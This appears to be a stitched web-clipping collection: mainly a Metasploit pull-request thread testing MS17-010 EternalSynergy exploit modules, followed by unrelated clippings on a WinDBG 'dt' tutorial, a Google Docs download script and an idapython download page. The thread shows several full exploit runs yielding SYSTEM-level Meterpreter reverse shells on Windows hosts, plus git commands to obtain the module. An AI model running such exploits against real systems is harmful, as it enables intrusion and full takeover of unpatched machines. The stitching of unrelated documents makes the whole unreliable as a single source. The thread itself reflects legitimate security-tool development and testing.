FAILED - already mentioned  
Win2003x86\_SP1  
PASSED  
Win2003x86\_R2\_SP1  
PASSED  
Win2003x86\_R2\_SP2  
PASSED  
Win2008x86\_SP1  
FAILED - netlogon service timeout, will try again  
Win2008x64  
PASSED  
Win2008x64\_R2\_SP1  
FAILED - test system failure; will try again  
---  
@bwatters-r7 you can Say me how you do to add it to the framework please ?  
---  
Contributor

###  **bcoles ** commented on 1 Feb

@iNoSec something like \(untested\)

[code]

    git clone https://github.com/rapid7/metasploit-framework/
    cd metasploit-framework
    git remote add rs https://github.com/RiskSense-Ops/metasploit-framework/
    git pull rs eternalsynergy
    
[/code]

Or alternatively:

[code]

    git clone https://github.com/rapid7/metasploit-framework/
    cd metasploit-framework
    git fetch origin pull/9473/head:eternalsynergy
    git checkout eternalsynergy
    
[/code]  
---  
Contributor

###  **bwatters-r7 ** commented on 1 Feb

After checking the Win2008x86\_SP1 VM, I noticed I forgot to disable Windows
Firewall when I set it up originally. Disabled it, reset and re-ran all tests
last night: Win2003x86\_SP0  
PASSED  
Win2003x64\_SP1  
PASSED  
Win2003x86\_SP1  
PASSED  
Win2003x86\_R2\_SP1  
PASSED  
Win2003x86\_R2\_SP2  
PASSED  
Win2008x86\_SP1  
PASSED  
Win2008x64  
PASSED  
Win2008x64\_R2\_SP1  
PASSED  
---  
Contributor

###  **busterb ** commented on 2 Feb

So we have just 3 more OSes to test to land this?  
---  
Contributor

###  **zerosum0x0 ** commented on 2 Feb

**Success** on Windows 10 Enterprise 10240 x64 authenticated/native target

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > exploit
    
    [*] Started reverse TCP handler on 192.168.1.127:4444 
    [*] 192.168.1.105:445 - Target OS: Windows 10 Enterprise 10240
    [*] 192.168.1.105:445 - Connected to named pipe: netlogon
    [*] 192.168.1.105:445 - Frag pool info leak: arch=x64, size=0x20
    [*] 192.168.1.105:445 - GROOM_POOL_SIZE: 0x5030
    [*] 192.168.1.105:445 - BRIDE_TRANS_SIZE: 0xf90
    [*] 192.168.1.105:445 - Attempting leak #0
    [*] 192.168.1.105:445 - CONNECTION: 0xffffe00180ae1020
    [*] 192.168.1.105:445 - SESSION: 0xffffc0007c5e0390
    [*] 192.168.1.105:445 - FLINK: 0xffffc0007487f048
    [*] 192.168.1.105:445 - InParam: 0xffffc0007c05416c
    [*] 192.168.1.105:445 - MID: 0x4307
    [-] 192.168.1.105:445 - Unexpected Flink alignment, delta: -77d5fb8
    [*] 192.168.1.105:445 - Align transaction and leak failed, attempt #0
    [*] 192.168.1.105:445 - Attempting leak #1
    [*] 192.168.1.105:445 - CONNECTION: 0xffffe00180ae1020
    [*] 192.168.1.105:445 - SESSION: 0xffffc0007c5e0390
    [*] 192.168.1.105:445 - FLINK: 0xffffc0007c06c098
    [*] 192.168.1.105:445 - InParam: 0xffffc0007c06616c
    [*] 192.168.1.105:445 - MID: 0x4303
    [*] 192.168.1.105:445 - Leaked connection struct (0xffffe00180ae1020), performing WriteAndX type confusion
    [*] 192.168.1.105:445 - Control of groom transaction
    [*] 192.168.1.105:445 - Built a write-what-where primitive...
    [*] 192.168.1.105:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0xffffc0007c5e045a
    [*] 192.168.1.105:445 - Session Data: 0a02060100000000505bd27e01e0ffff0100000000000000708917d000f8ffff708917d000f8ffff08000000000000002010ae8001e0ffff000000000000000000000000000000000000000000000000000000000000000002001e000000000078045e7c00c0ffff5262a8edd59bd3011c6dbbedd59bd301ff3f96d536ffff7fffffffffffffff7f0000000000000000ec1a280000000000951ff84d3f2243f4d3612d7da75b918f000000000000000050d0057900c0ffff0411020000080000020000000100010000000001000000000000000000000000190000000c00000000000000000000002a0000000000000000000000000000000000000000000000
    [*] 192.168.1.105:445 - session dat len = 256
    [*] 192.168.1.105:445 - Session ctx offset = b0
    [*] 192.168.1.105:445 - Session ctx data = 50d0057900c0ffff0411020000080000020000000100010000000001000000000000000000000000190000000c00000000000000000000002a0000000000000000000000000000000000000000000000
    [*] 192.168.1.105:445 - secCtxAddr: ffffc0007905d050
    [*] 192.168.1.105:445 - Reading secCtxData from ffffc0007905d050
    [*] 192.168.1.105:445 - Read data from secCtx: 2a023800030000000300000000000000e09ebd7300c0ffff0000000000000000000000000000000000000000000000000000000000000000
    [*] 192.168.1.105:445 - Overwrote token SID security context with fake context
    [+] 192.168.1.105:445 - Overwrite complete... SYSTEM session obtained!
    [*] 192.168.1.105:445 - Powershell command length: 2537
    [*] 192.168.1.105:445 - Executing the payload...
    [*] 192.168.1.105:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.105[\svcctl] ...
    [*] 192.168.1.105:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.105[\svcctl] ...
    [*] 192.168.1.105:445 - Obtaining a service manager handle...
    [*] 192.168.1.105:445 - Creating the service...
    [+] 192.168.1.105:445 - Successfully created the service
    [*] 192.168.1.105:445 - Starting the service...
    [+] 192.168.1.105:445 - Service start timed out, OK if running a command or non-service executable...
    [*] 192.168.1.105:445 - Removing the service...
    [+] 192.168.1.105:445 - Successfully removed the service
    [*] 192.168.1.105:445 - Closing service handle...
    [*] Sending stage (205891 bytes) to 192.168.1.105
    [*] Meterpreter session 7 opened (192.168.1.127:4444 -> 192.168.1.105:49484) at 2018-02-01 20:28:46 -0700
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo
    Computer        : DESKTOP-IL17M8C
    OS              : Windows 10 (Build 10240).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows
    
[/code]  
---  
Contributor

###  **zerosum0x0 ** commented on 2 Feb

**Success** on Windows 10 Enterprise 10240 x86 authenticated/native target

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > exploit
    
    [*] Started reverse TCP handler on 192.168.1.127:4444 
    [*] 192.168.1.249:445 - Target OS: Windows 10 Enterprise 10240
    [*] 192.168.1.249:445 - Connected to named pipe: netlogon
    [*] 192.168.1.249:445 - Frag pool info leak: arch=x86, size=0x10
    [*] 192.168.1.249:445 - GROOM_POOL_SIZE: 0x5020
    [*] 192.168.1.249:445 - BRIDE_TRANS_SIZE: 0xfc0
    [*] 192.168.1.249:445 - Attempting leak #0
    [*] 192.168.1.249:445 - CONNECTION: 0x8d2334f0
    [*] 192.168.1.249:445 - SESSION: 0xa006c648
    [*] 192.168.1.249:445 - FLINK: 0xad791058
    [*] 192.168.1.249:445 - InParam: 0xad78b0e4
    [*] 192.168.1.249:445 - MID: 0x4403
    [*] 192.168.1.249:445 - Leaked connection struct (0x8d2334f0), performing WriteAndX type confusion
    [*] 192.168.1.249:445 - Control of groom transaction
    [*] 192.168.1.249:445 - Built a write-what-where primitive...
    [*] 192.168.1.249:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0xa006c6e6
    [*] 192.168.1.249:445 - Session Data: 0a02d600000000000884238d010000000000000004312d9a04312d9a01000000f034238d0000000000000000000000000000000002001e0000c706a000000000043371fdd69bd3015bb77afdd69bd301ff3f96d536ffff7fffffffffffffff7f0000000000000000d05a1e00000000007cb558373067dce930e6f9af34252ac40000000000000000c8c306a004110200000800000200000001000100000000010000000000000000010000000800000000000000000000002a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    [*] 192.168.1.249:445 - session dat len = 256
    [*] 192.168.1.249:445 - Session ctx offset = 88
    [*] 192.168.1.249:445 - Session ctx data = c8c306a004110200000800000200000001000100000000010000000000000000010000000800000000000000000000002a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    [*] 192.168.1.249:445 - secCtxAddr: a006c3c8
    [*] 192.168.1.249:445 - Reading secCtxData from a006c3c8
    [*] 192.168.1.249:445 - Read data from secCtx: 2a022400030000000300000040ca888e0000000000000000000000000000000000000000
    [*] 192.168.1.249:445 - Overwrote token SID security context with fake context
    [+] 192.168.1.249:445 - Overwrite complete... SYSTEM session obtained!
    [*] 192.168.1.249:445 - Powershell command length: 2388
    [*] 192.168.1.249:445 - Executing the payload...
    [*] 192.168.1.249:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.249[\svcctl] ...
    [*] 192.168.1.249:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.249[\svcctl] ...
    [*] 192.168.1.249:445 - Obtaining a service manager handle...
    [*] 192.168.1.249:445 - Creating the service...
    [+] 192.168.1.249:445 - Successfully created the service
    [*] 192.168.1.249:445 - Starting the service...
    [+] 192.168.1.249:445 - Service start timed out, OK if running a command or non-service executable...
    [*] 192.168.1.249:445 - Removing the service...
    [+] 192.168.1.249:445 - Successfully removed the service
    [*] 192.168.1.249:445 - Closing service handle...
    [*] Sending stage (179779 bytes) to 192.168.1.249
    [*] Meterpreter session 8 opened (192.168.1.127:4444 -> 192.168.1.249:49506) at 2018-02-01 20:36:33 -0700
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo
    Computer        : DESKTOP-G60M8SH
    OS              : Windows 10 (Build 10240).
    Architecture    : x86
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x86/windows
    
[/code]  
---  
I've confirmed Windows Vista x64 is working. msf
exploit\(windows/smb/ms17\_010\_psexec\) > exploit \[_\] Started reverse TCP
handler on 192.168.206.128:4444  
\[_\] 192.168.206.129:445 - Target OS: Windows Vista \(TM\) Business 6000  
\[_\] 192.168.206.129:445 - Filling barrel with fish... done  
\[_\] 192.168.206.129:445 - <\---------------- | Entering Danger Zone | ---------------->  
\[_\] 192.168.206.129:445 - \[_\] Preparing dynamite...  
\[_\] 192.168.206.129:445 - \[_\] Trying stick 1 \(x64\)...Boom\!  
\[_\] 192.168.206.129:445 - \[+\] Successfully Leaked Transaction\!  
\[_\] 192.168.206.129:445 - \[+\] Successfully caught Fish-in-a-barrel  
\[_\] 192.168.206.129:445 - <\---------------- | Leaving Danger Zone | ---------------->  
\[_\] 192.168.206.129:445 - Reading from CONNECTION struct at:
0xfffffa80083a6ba0  
\[_\] 192.168.206.129:445 - Built a write-what-where primitive...  
\[+\] 192.168.206.129:445 - Overwrite complete... SYSTEM session obtained\!  
\[_\] 192.168.206.129:445 - Selecting native target  
\[_\] 192.168.206.129:445 - Uploading payload...  
\[_\] 192.168.206.129:445 - Created \xwMEdFGQ.exe...  
\[+\] 192.168.206.129:445 - Service started successfully...  
\[_\] 192.168.206.129:445 - Deleting \xwMEdFGQ.exe...  
\[_\] Sending stage \(179779 bytes\) to 192.168.206.129  
\[\*\] Meterpreter session 2 opened \(192.168.206.128:4444 ->
192.168.206.129:49159\) at 2018-02-01 22:21:05 -0600 meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM  
meterpreter > sysinfo  
Computer : VISTA1  
OS : Windows Vista \(Build 6000\).  
Architecture : x64  
System Language : en\_US  
Domain : WORKGROUP  
Logged On Users : 2  
Meterpreter : x86/windows  
meterpreter >  
---  
Contributor

###  **wvu-r7 ** commented on 2 Feb

Thanks for all the testing, folks\! I think we can leave the remaining to-dos
for the next PR. Let us know when you're ready to ship this, @zerosum0x0. 👍  
---  
Contributor

###  **zerosum0x0 ** commented on 2 Feb

@wvu-r7 Seems good to me  
---  
###  wvu-r7 added a commit to wvu-r7/metasploit-framework that referenced this
pull request  on 2 Feb

###  <img src='img/4551878.jpg' width='16' height='16' alt='@wvu-r7' /> wvu-r7
merged commit `ffc7e07` into rapid7:master on 2 Feb

1 check passed

Contributor

###  **wvu-r7 ** commented on 2 Feb •

# Release Notes

Auxiliary and exploit modules for EternalSynergy, EternalRomance, and
EternalChampion have been added to the framework. The
exploits/windows/smb/ms17\_010\_psexec module exploits SMB with
vulnerabilities in MS17-010 to give you the ability to run any command as
SYSTEM or stage Meterpreter. This exploit is more reliable than the
EternalBlue exploit, but requires a named pipe.  
---  
###  <img src='img/3971576.jpg' width='16' height='16' alt='@zerosum0x0' />
zerosum0x0 deleted the RiskSense-Ops:eternalsynergy branch on 2 Feb

###  jmartin-r7 added a commit to jmartin-r7/metasploit-framework that
referenced this pull request  on 2 Feb

Contributor

###  **busterb ** commented 28 days ago

As a general public service announcement: If you would like to use this
module, you need to use a version of Metasploit that already has it packaged,
or wait until your Linux distribution is shipping it. Just copying the module
file will not work on an older version of Metasploit Framework. This is also a
closed PR. If you have bugs, file them as new tickets. If you have general
questions or need help, ask on IRC, slack, or in a help forum. You can find
information on these channels at https://metasploit.com. Thanks\!  
---  
@zerosum0x0 @bcoles @wvu-r7 @ronnieflip @mkienow-r7

[code]

    route print                                                                                                                    
    
    IPv4 Active Routing Table
    =========================
    
       Subnet             Netmask            Gateway
       ------             -------            -------
       192.168.0.0        255.255.0.0        Session 86
    
    
    set ReverseAllowProxy true
    
    
    msf exploit(windows/smb/ms17_010_psexec) > [*] 192.168.10.102:445 - Target OS: Windows Server 2008 R2 Enterprise 7601 Service Pack 1
    [-] 192.168.10.102:445 - Inaccessible named pipe: netlogon - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: lsarpc - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: samr - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: browser - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: atsvc - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: DAV RPC SERVICE - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: epmapper - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: eventlog - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: InitShutdown - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: keysvc - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: lsass - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: LSM_API_service - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: ntsvcs - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: plugplay - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: protected_storage - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: router - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: SapiServerPipeS-1-5-5-0-70123 - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: scerpc - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: srvsvc - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: tapsrv - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: trkwks - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: W32TIME_ALT - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: wkssvc - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Inaccessible named pipe: db2remotecmd - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 192.168.10.102:445 - Unable to find accessible named pipe!
    
[/code]  
---  
Contributor

###  **bcoles ** commented 28 days ago

@hktalent This PR is closed. Please create a new issue.  
---  
###  <img src='img/434827.png' width='16' height='16' alt='@bcoles' /> bcoles
locked as **resolved** and limited conversation to collaborators 28 days ago

Write Preview

This conversation has been locked as **resolved** and limited to
collaborators.

**ProTip\!** Add comments to specific lines under Files changed.

  

# btle\_dissector.png \(751×749\)

**Created:**| _1/31/2013 8:00:08 AM_  
---|---  
**Updated:**| _1/31/2013 8:00:08 AM_  
**Author:**| __  
**Tags:**| _Embedded bluetooth_  
  
  

<img src='img/Temp2_10112.png' width='751' height='749' />

  

# Grokking the dt command « Analyze -v

**Created:**| _7/15/2011 2:49:09 PM_  
---|---  
**Updated:**| _7/15/2011 2:49:09 PM_  
**Author:**| __  
**Tags:**| _Debugging windows kernel_  
  

## Grokking the dt command

Viewing data structures is usually a critical part of any analysis. In WinDBG,
there are several different ways in which you can inspect data structures.
However, one of the most common ways is with the Display Type command, **dt**.
On the surface **dt** is pretty simple, you specify a data structure name and
WinDBG will show you the fields of the structure along with their offsets and
types:

[code]

    0: kd> dt nt!_ksemaphore
       +0x000 Header           : _DISPATCHER_HEADER
       +0x010 Limit            : Int4B
[/code]

In addition, you can optionally specify an address to be interpreted as the
specified type so that you can inspect the fields of the structure:

[code]

    0: kd> dt nt!_ksemaphore 8a084120
       +0x000 Header           : _DISPATCHER_HEADER
       +0x010 Limit            : 0n1
[/code]

Now that we have the basics down, let’s see some advanced usage of this
command that will allow us to quickly and easily navigate any structure that
we’re interested in.

**Inspecting Structure Fields**

In the above example, the standard **dt** output showed us two fields of the
KSEMAPHORE structure: Header and Limit. If we knew beforehand that we only
cared about the Limit field, we could specify an additional parameter to the
**dt** command and limit the output to only show the Limit field:

[code]

    0: kd> dt nt!_ksemaphore Limit
       +0x010 Limit : Int4B
    0: kd> dt nt!_ksemaphore 8a084120 limit
       +0x010 Limit : 0n1
[/code]

Note that the Header field itself was a data structure, though it wasn’t
expanded in the standard **dt** output and it won’t be expanded if we limit
the output to just show the Header field:

[code]

    0: kd> dt nt!_ksemaphore header
       +0x000 Header : _DISPATCHER_HEADER
    0: kd> dt nt!_ksemaphore 8a084120 Header
       +0x000 Header : _DISPATCHER_HEADER
[/code]

However, you can use standard C syntax to inspect specific fields of the
substructure:

[code]

    0: kd> dt nt!_ksemaphore header.type
       +0x000 Header      :
          +0x000 Type        : UChar
     
[/code]

In order to actually enumerate the fields of that structure we’re going to
need to specify yet another parameter. Now, this is where the **dt** command
syntax gets messy and inconsistent. There are, in fact, _three different ways_
to expand substructures with the **dt** command: /r, ., and ->\*. Let’s see
when each of these are appropriate.

**Structure Expansion With /r**

The /r switch to the **dt** command is the, “**r** ecursively dump the
subfields” switch. The switch takes a number between 1-9 to indicate the depth
to which the command should traverse dumping structures. Using this method is
**only** effective if you are not specifying a subfield of the structure. For
example, these work as expected:

[code]

    0: kd> dt nt!_ksemaphore /r1
       +0x000 Header           : _DISPATCHER_HEADER
          +0x000 Type             : UChar
          +0x001 Absolute         : UChar
          +0x002 Size             : UChar
          +0x003 Inserted         : UChar
          +0x004 SignalState      : Int4B
          +0x008 WaitListHead     : _LIST_ENTRY
       +0x010 Limit            : Int4B
    0: kd> dt nt!_ksemaphore /r2 8a084120
       +0x000 Header           : _DISPATCHER_HEADER
          +0x000 Type             : 0x5 ''
          +0x001 Absolute         : 0 ''
          +0x002 Size             : 0x5 ''
          +0x003 Inserted         : 0 ''
          +0x004 SignalState      : 0n0
          +0x008 WaitListHead     : _LIST_ENTRY [ 0x898a0090 - 0x898a0090 ]
             +0x000 Flink            : 0x898a0090 _LIST_ENTRY [ 0x8a084128 - 0x8a084128 ]
             +0x004 Blink            : 0x898a0090 _LIST_ENTRY [ 0x8a084128 - 0x8a084128 ]
       +0x010 Limit            : 0n1
[/code]

However, if you attempt to expand _just_ the Header field, you’ll see that the
switch is ignored:

[code]

    0: kd> dt nt!_ksemaphore /r1 Header
       +0x000 Header : _DISPATCHER_HEADER
    0: kd> dt nt!_ksemaphore /r1 8a084120 Header
       +0x000 Header : _DISPATCHER_HEADER
[/code]

In order to perform that type of expansion, we’ll need the . and ->\*
switches.

**Structure Expansion With .**

In our last example, we were trying to only expand the Header field of the
KSEMAPHORE structure but the /r switch was ineffective. In order to expand the
embedded structure by name in that case, we need to follow the structure name
with a period. This indicates to the engine that you would like to view only
that member of the structure and you would like to expand it:

[code]

    0: kd> dt nt!_ksemaphore 8a084120 Header.
       +0x000 Header  :
          +0x000 Type    : 0x5 ''
          +0x001 Absolute : 0 ''
          +0x002 Size    : 0x5 ''
          +0x003 Inserted : 0 ''
          +0x004 SignalState : 0n0
          +0x008 WaitListHead : _LIST_ENTRY [ 0x898a0090 - 0x898a0090 ]
[/code]

In addition, you can keep adding additional periods to keep increasing the
depth of the expansion:

[code]

    0: kd> dt nt!_ksemaphore 8a084120 Header..
       +0x000 Header   :
          +0x000 Type     : 0x5 ''
          +0x001 Absolute : 0 ''
          +0x002 Size     : 0x5 ''
          +0x003 Inserted : 0 ''
          +0x004 SignalState : 0n0
          +0x008 WaitListHead :  [ 0x898a0090 - 0x898a0090 ]
             +0x000 Flink    : 0x898a0090 _LIST_ENTRY [ 0x8a084128 - 0x8a084128 ]
             +0x004 Blink    : 0x898a0090 _LIST_ENTRY [ 0x8a084128 - 0x8a084128 ] 
[/code]

**Structure Expansion With - >\***

In the above case, the period suffix was appropriate because the field of the
structure that we cared about was an embedded structure, not a pointer to a
structure. Let’s try that again with a pointer to a structure, such as the Dpc
field of the KTIMER:

[code]

    0: kd> dt nt!_ktimer b46c82a0
       +0x000 Header           : _DISPATCHER_HEADER
       +0x010 DueTime          : _ULARGE_INTEGER 0xd2`333b7e55
       +0x018 TimerListEntry   : _LIST_ENTRY [ 0x8a06fb10 - 0x80562628 ]
       +0x020 Dpc              : 0xb46c82e0 _KDPC
       +0x024 Period           : 0n0
    0: kd> dt nt!_ktimer b46c82a0 Dpc
       +0x020 Dpc : 0xb46c82e0 _KDPC
    0: kd> dt nt!_ktimer b46c82a0 Dpc.
       +0x020 Dpc  :
    Cannot find specified field members.
[/code]

Oops\! That doesn’t work so hot…Instead, we need a different suffix to the
field name: **- >\* **\(no, I’m not joking, that’s really the syntax <img
src='img/Temp2_3533.gif' alt=':)' /> \). Taking our previous example:

[code]

    0: kd> dt nt!_ktimer b46c82a0 Dpc->*
       +0x020 Dpc   :
          +0x000 Type  : 0n19
          +0x002 Number : 0 ''
          +0x003 Importance : 0x1 ''
          +0x004 DpcListEntry : _LIST_ENTRY [ 0x0 - 0x0 ]
          +0x00c DeferredRoutine : 0xb46be385        void  rdbss!RxTimerDispatch+0
          +0x010 DeferredContext : (null)
          +0x014 SystemArgument1 : (null)
          +0x018 SystemArgument2 : (null)
          +0x01c Lock  : (null)�
[/code]

There are, of course, lots of other things that can be done with the **dt**
command as well. However, hopefully that clears up some confusion and
motivates you to find some other interesting things in the docs\!

**Bonus Tip: Quick Access to Last Type Used**

Before we leave, here’s one last quick tip about this command. The **dt**
command always stores the last type inspected and gives you quick access to
the previous type by accepting a period character for the type name. This is
best explained with an example. So, let’s say we want to look at two
KSEMAPHORE structures. We actually only need to type the entire type name out
the first time, the second time we can save a keyboard and just use a period
for the type name:

[code]

    0: kd> dt nt!_ksemaphore 8a084120
       +0x000 Header           : _DISPATCHER_HEADER
       +0x010 Limit            : 0n1
    0: kd> dt . 8a0281e0�
    Using sym nt!_ksemaphore
       +0x000 Header           : _DISPATCHER_HEADER
       +0x010 Limit            : 0n2147483647
[/code]

# Lifehacker - Grab All Your Google Docs with a Python Script - Google Docs

**Created:**| _6/20/2009 8:52:57 PM_  
---|---  
**Updated:**| _6/20/2009 8:53:09 PM_  
**Author:**| __  
**Tags:**| _Google python cloud computing_  
  

# Grab All Your Google Docs with a Python Script

By Kevin Purdy, 8:00 AM on Fri Jun 19 2009, 3,456 views \(Edit post, Set to
draft, Slurp\)

Copy this whole post to another site

Slurp cancel

<img src='img/Temp2_4924.gif' width='16' height='16' alt='sending request' />

select siteadvertisingconsumeristdeadspindefamerfleshbotgay
fleshbotgawkergizmodoidolatorio9jalopnikjezebelkotakulifehackervalleywagartistsgawkershop

<img src='img/Temp2_4925.gif' width='252' height='83' />Google Docs Download,
a Greasemonkey script previously featured here for creating a Google Docs bulk
download feature that should already be there, is now available as a \(beta-
level\) Python script. That means Mac OS X and most Linux users can download
and run it off the bat, and Windows users can grab all their cloud documents
using Cygwin. _Thanks, Jason\!_

# Downloads - idapython - Project Hosting on Google Code

**Created:**| _10/23/2009 3:08:12 PM_  
---|---  
**Updated:**| _10/23/2009 3:08:17 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

**wishinet@googlemail.com** | My favorites<img src='img/Temp2_2384.gif' width='14' height='14' /> | Profile | Sign out
<img src='img/Temp2_2383.gif' alt='Project Logo' />| idapython _Python Plugin
for Interactive Disassembler Pro_|  
---|---|---  
Project hosting will be READ-ONLY Tuesday, Oct. 27 at 11am PDT due to brief
network maintenance.

Project Home|  | Downloads|  | Wiki|  | Issues|  | Source|  |   
---|---|---|---|---|---|---|---|---|---|---  
SearchSearch within: All downloads Featured downloads Current downloads Deprecated downloads for |   
---|---  
1 - 61 of 61

Columns:

| Filename| Summary + Labels| Uploaded| Size| DownloadCount| ...  
---|---|---|---|---|---|---  
| idapython-reference-1.2.0.zip.asc| IDAPython 1.2.0 Function Cross-reference Signature Featured | Jul 12| 186 bytes| 89|   
| idapython-reference-1.2.0.zip| IDAPython 1.2.0 Function Cross-reference Featured | Jul 12| 986 KB| 335|   
| idapython-1.2.0.zip.asc| IDAPython 1.2.0 Source Package Signature Featured | Jul 12| 186 bytes| 92|   
| idapython-1.2.0.zip| IDAPython 1.2.0 Source Package Featured | Jul 12| 95.9 KB| 392|   
| idapython-1.2.0\_ida5.4\_py2.5\_win32.zip.asc| IDAPython 1.2.0 for Windows, IDA Pro 5.4-5.5 and Python 2.5 Signature Featured | Jul 12| 186 bytes| 117|   
| idapython-1.2.0\_ida5.4\_py2.5\_win32.zip| IDAPython 1.2.0 for Windows, IDA Pro 5.4-5.5 and Python 2.5 Featured | Jul 12| 1.5 MB| 1023|   
| idapython-1.2.0\_ida5.4\_py2.5\_macosx.zip.asc| IDAPython 1.2.0 for Mac OS X, IDA Pro 5.4-5.5 and Python 2.5 Signature Featured | Jul 12| 186 bytes| 65|   
| idapython-1.2.0\_ida5.4\_py2.5\_macosx.zip| IDAPython 1.2.0 for Mac OS X, IDA Pro 5.4-5.5 and Python 2.5 Featured | Jul 12| 1.5 MB| 103|   
| idapython-1.1.92\_ida5.4\_py2.5\_macosx.zip.asc| IDAPython 1.1.92 for Mac OS
X, IDA Pro 5.4 and Python 2.5 Signature| May 23| 186 bytes| 26|  
| idapython-1.1.92\_ida5.4\_py2.5\_macosx.zip| IDAPython 1.1.92 for Mac OS X,
IDA Pro 5.4 and Python 2.5| May 23| 1.5 MB| 15|  
| idapython-1.1.92\_ida5.4\_py2.5\_win32.zip.asc| IDAPython 1.1.92 for
Windows, IDA Pro 5.4 and Python 2.5 Signature| May 23| 186 bytes| 40|  
| idapython-1.1.92\_ida5.4\_py2.5\_win32.zip| IDAPython 1.1.92 for Windows,
IDA Pro 5.4 and Python 2.5| May 23| 1.5 MB| 147|  
| idapython-1.1.92.zip.asc| IDAPython 1.1.92 Source Package Signature| May 23|
186 bytes| 12|  
| idapython-1.1.92.zip| IDAPython 1.1.92 Source Package| May 23| 95.8 KB| 79|  
| idapython-reference-1.0.0.zip.asc| IDAPython 1.0.0 Function Cross-reference
Signature| Sep 2008| 186 bytes| 458|  
| idapython-reference-1.0.0.zip| IDAPython 1.0.0 Function Cross-reference| Sep
2008| 816 KB| 1938|  
| idapython-1.0.0\_ida5.1\_py2.5\_win32.zip.asc| IDAPython 1.0.0 for Windows,
IDA Pro 5.1-5.3 and Python 2.5 Signature| Sep 2008| 186 bytes| 514|  
| idapython-1.0.0\_ida5.1\_py2.5\_win32.zip| IDAPython 1.0.0 for Windows, IDA
Pro 5.1-5.3 and Python 2.5| Sep 2008| 665 KB| 5313|  
| idapython-1.0.0\_ida5.1\_py2.5\_macosx.zip.asc| IDAPython 1.0.0 for Mac OS
X, IDA Pro 5.1-5.3 and Python 2.5 Signature| Sep 2008| 186 bytes| 329|  
| idapython-1.0.0\_ida5.1\_py2.5\_macosx.zip| IDAPython 1.0.0 for Mac OS X,
IDA Pro 5.1-5.3 and Python 2.5| Sep 2008| 665 KB| 709|  
| idapython-1.0.0.zip.asc| IDAPython 1.0.0 Source Package Signature| Sep 2008|
186 bytes| 434|  
| idapython-1.0.0.zip| IDAPython 1.0.0 Source Package| Sep 2008| 182 KB| 1450|  
| idapython-reference-0.9.61.zip| IDAPython 0.9.61 Function Cross-reference|
Sep 2008| 817 KB| 89|  
| idapython-0.9.61.zip.asc| IDAPython 0.9.61 Source Signature| Sep 2008| 186
bytes| 122|  
| idapython-0.9.61.zip| IDAPython 0.9.61 Source| Sep 2008| 181 KB| 69|  
